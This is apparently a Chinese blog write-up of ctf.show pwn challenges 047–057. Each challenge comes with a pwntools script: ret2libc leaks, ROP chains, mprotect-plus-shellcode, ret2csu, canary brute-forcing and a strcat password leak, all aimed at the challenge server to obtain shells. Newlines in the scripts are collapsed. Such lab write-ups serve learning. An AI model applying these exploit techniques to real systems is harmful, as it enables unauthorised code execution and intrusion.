047

ret2libc 基本上可以看见把真实的函数 libc 地址都告诉你了


#! /usr/bin/env python3from pwn import *from LibcSearcher import *p = remote('pwn.challenge.ctf.show', 28199)elf = ELF('./pwn')rop = ROP(elf)p.recvuntil('puts: ')puts_addr = int(p.recvline().strip(), 16)p.recvuntil('read: ')read_addr = int(p.recvline().strip(), 16)p.recvuntil('write: ')write_addr = int(p.recvline().strip(), 16)print(hex(puts_addr))print(hex(read_addr))print(hex(write_addr))p.recvuntil('gift: ')gift_addr = int(p.recvline().strip(), 16)print(hex(gift_addr))libc = LibcSearcher('puts', puts_addr)libc_base = puts_addr - libc.dump('puts')system_addr = libc_base + libc.dump('system')p.recvuntil('Start your show time: \n')offset = 0x9c + 4payload = b'a' * offset + p32(system_addr) + b'aaaa' + p32(gift_addr)p.sendline(payload)print(hex(libc_base))p.interactive()048


脚本如下
#! /usr/bin/env python3from pwn import *from LibcSearcher import *p = remote('pwn.challenge.ctf.show', 28166)elf = ELF('./pwn')rop = ROP(elf)puts_plt = elf.plt['puts']puts_got = elf.got['puts']main_addr = elf.symbols['main']offset = 0x6B + 4payload = b'a' * offset + p32(puts_plt) + p32(main_addr) + p32(puts_got)p.recvuntil('O.o?\n')p.sendline(payload)puts_addr = u32(p.recv(4))print(hex(puts_addr))libc = LibcSearcher('puts', puts_addr)libc_base = puts_addr - libc.dump('puts')system_addr = libc_base + libc.dump('system')binsh_addr = libc_base + libc.dump('str_bin_sh')p.recvuntil('O.o?\n')payload = b'a' * offset + p32(system_addr) + b'aaaa' + p32(binsh_addr)p.sendline(payload)p.interactive()049

看到提示,use mprotect func,同时左侧函数列表有大量函数,应该是使用了静态链接
先说一下 mprotect 函数
#include <sys/mman.h>int mprotect(void *addr, size_t len, int prot);这是其大致函数原型,也就是第一个参数为起始地址,第二个参数是修改长度,第三个参数是权限。
需要注意的是,mprotect 函数是一次性修改一页的地址,所以起始地址必须页对齐
那么利用思路就是将某一处地址改成可读可写可执行,之后我们劫持程序流将shellcode布局到此处,最后操控程序执行shellcode
但是经过脚本的编写也是发现了之前没有想过的问题
我的第一版脚本
#! /usr/bin/env python3from pwn import *p = process('./pwn')elf = ELF('./pwn')rop = ROP(elf)target_addr = 0x80B7000read_addr = 0x806BEE0pop3_ret = 0x0806dfe9p.recvuntil('Hint : Use mprotect func do sth! \n')p.recvuntil('* ************************************* \n') offset = 0x12 + 4shellcode = asm(shellcraft.sh())mprotect_addr = elf.symbols['mprotect']payload = b'a' * offset payload += flat([mprotect_addr, pop3_ret, target_addr, 0x1000, 7, read_addr, pop3_ret, 0, target_addr, len(shellcode), target_addr])p.sendline(payload)p.sendline(shellcode)p.interactive()第一次打的时候总是返回 EOF,后来将关键 payload 改成了
payload += flat([mprotect_addr, pop3_ret, target_addr, 0x1000, 7, read_addr, target_addr, 0, target_addr, len(shellcode), ])这样子能出 shell

但是后来有改回去,发现原版本又可以了,也是百思不得其解,于是拷打 AI ,才发现read本身并不清楚其来源,两个read 来源都是 stdin ,那么可能会出现第一个 read 会读shell的情况,而读了shell,就会由于达到 100 字节而截断一部分,那么我们的shellcode 就不完整。
050

依旧是 use mprotect.
这道题不一样的是变成了 64 位,还有一个就是成了动态链接,那么我们直接可以用ret2libc 打
#! /usr/bin/env python3from pwn import *p = remote('pwn.challenge.ctf.show', 28182)p.recvuntil('Hello CTFshow\n')elf = ELF('./pwn')rop = ROP(elf)puts_plt = elf.plt['puts']puts_got = elf.got['puts']main_addr = elf.symbols['main']offset = 0x20 + 8pop_rdi = rop.find_gadget(['pop rdi', 'ret']).addressret_addr = rop.find_gadget(['ret']).addresspayload = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)p.sendline(payload)puts_addr = u64(p.recv(6).ljust(8, b'\x00'))print(hex(puts_addr))libc_base = puts_addr - 0x080970system_addr = libc_base + 0x04f420binsh_addr = libc_base + 0x1b3d88p.recvuntil('Hello CTFshow\n')payload = b'a' * offset + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)p.sendline(payload)p.interactive()接下来用本题预期解法
ret2csu
那么很多程序比较小,缺少 pop rdx这样的 gadget,那么本体一样,只能找到pop rdi和rsi相关的 gadget。而像我们的 mprotect 函数需要三个参数,那么缺少的 pop rdx就成了一个问题,不过我们可以利用其它寄存器间接控制 rdx,ret2csu 就出现了
核心是 __libc_csu_init的两段关键 gadget。
- 第一段
asm
pop rbxpop rbppop r12pop r13pop r14pop r15ret - 第二段
asm
mov rdx, r15mov rsi, r14mov edi, r13dcall qword ptr [r12 + rbx*8]add rbx, 1cmp rbp, rbxjnz ...0x4007d6: add rsp, 80x4007da: pop rbx0x4007db: pop rbp0x4007dc: pop r120x4007de: pop r130x4007e0: pop r140x4007e2: pop r150x4007e4: ret
所以我们一般情况下 rbx设置为 0,那么
call qword ptr [r12 + rbx*8] 实际就是 call qword ptr [r12],那么程序会把 r12存的数据当作地址例如可以存 read 的 got 表地址,之后实际就相当于 call read
再一个我们将 rbp 设置为 1 。这是因为 add rbx, 1 cmp rbp, rbx jnz此时 rbp = rbx = 1那么程序就不会循环,而是继续往下走


IDA 定位到关键gadget的地址
#! /usr/bin/env python3from pwn import *context(arch='amd64', os='linux')p = remote('pwn.challenge.ctf.show', 28175)elf = ELF('./pwn')rop = ROP(elf)mprotect_offset = 0x11b7e0puts_plt = elf.plt['puts']puts_got = elf.got['puts']main_addr = elf.symbols['main']offset = 0x20 + 8gets_got = elf.got['gets']gets_plt = elf.plt['gets']csu_pop = 0x4007dacsu_call = 0x4007c0ret_addr = rop.find_gadget(['ret']).addressp.recvuntil('Hello CTFshow\n')pop_rdi = rop.find_gadget(['pop rdi', 'ret']).addresspayload = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)p.sendline(payload)puts_addr = u64(p.recv(6).ljust(8, b'\x00'))print(hex(puts_addr))libc_base = puts_addr - 0x080970print(hex(libc_base))mprotect_addr = libc_base + mprotect_offsetprint(hex(mprotect_addr))start_addr = 0x602050shellcode = asm(shellcraft.sh())shell_addr = start_addr + 0x8p.recvuntil('Hello CTFshow\n')payload = b'a' * offset payload += flat([ pop_rdi, start_addr, gets_plt, csu_pop, 0, 1, start_addr, start_addr & ~0xfff, 0x1000, 7, csu_call, 0, 0, 0, 0, 0, 0, 0, shell_addr])payload2 = p64(mprotect_addr) + shellcodep.sendline(payload)p.sendline(payload2)p.interactive()
051
不会 c++ 😭
052


#! /usr/bin/env python3from pwn import *p = remote('pwn.challenge.ctf.show', 28163)elf = ELF('./pwn')rop = ROP(elf)offset = 0x6C + 4flag_addr = elf.symbols['flag']payload = b'a' * offset + p32(flag_addr) + p32(0) + p32(876) + p32(877)p.recvuntil('What do you want?\n')p.sendline(payload)p.interactive()
053


可以看到系统会从 canary.txt 读取canary,那么我们直接爆破就好了
#!/usr/bin/env python3from pwn import *context.log_level = 'error'elf = ELF('./pwn', checksec=False)host = 'pwn.challenge.ctf.show'port = 28211ok = b'Where is the flag?'bad = b'Incorrect'canary = b''for i in range(4): old_len = len(canary) for x in range(256): guess = bytes([x]) payload = b'A' * 0x20 payload += canary payload += guess p = remote(host, port) payload_len = len(payload) payload_len = str(payload_len) payload_len = payload_len.encode() p.sendline(payload_len) p.send(payload) end_mark = (ok, bad) res = p.recvuntil(end_mark, timeout=3) p.close() if ok in res: canary += guess print('canary =', canary.hex()) break if len(canary) == old_len: print('not found') exit()p = remote(host, port)payload = b'A' * 0x20payload += canarypayload += b'B' * 0x10payload += p32(elf.sym.flag)payload_len = len(payload)payload_len = str(payload_len)payload_len = payload_len.encode()p.sendline(payload_len)p.send(payload)p.interactive()canary = 33364421
054

strcat(v5, ",\nInput your Password.");这个拼接行为在加上puts,且 v5 跟 s1 本身相邻,那么势必会造成密码也被打印出来。
脚本如下
#! /usr/bin/env python3from pwn import *p = remote('pwn.challenge.ctf.show', 28172)strcat = b'\nInput your Password.'strcat_len = len(strcat)offset = 256 - strcat_lenp.recvuntil('Input your Username:\n')p.sendline(b'a' * offset)p.recvuntil(b'Input your Password')password = p.recvline().strip()print(password)p.sendline(password)p.interactive()
055



满足一些约定即可
#! /usr/bin/env python3from pwn import *p = remote('pwn.challenge.ctf.show', 28241)elf = ELF('./pwn', checksec=False)rop = ROP(elf)flag_func1 = elf.symbols['flag_func1']flag_func2 = elf.symbols['flag_func2']flag = elf.symbols['flag']pop_ebx = rop.find_gadget(['pop ebx', 'ret']).addressp.recvuntil('Input your flag: ')offset = 0x2C + 4payload = b'a' * offsetpayload += flat([ flag_func1, flag_func2, pop_ebx, -1397969748, flag, 0, -1111638595])p.sendline(payload)p.interactive()
056
void __noreturn start(){ int v0; // eax char v1[10]; // [esp-Ch] [ebp-Ch] BYREF __int16 v2; // [esp-2h] [ebp-2h] v2 = 0; strcpy(v1, "/bin///sh"); v0 = sys_execve(v1, 0, 0);}连上就有 shell
057
void __noreturn start(){ __asm { syscall; LINUX - }}同样,连上就是 shell

读者回信
正在翻开留言页...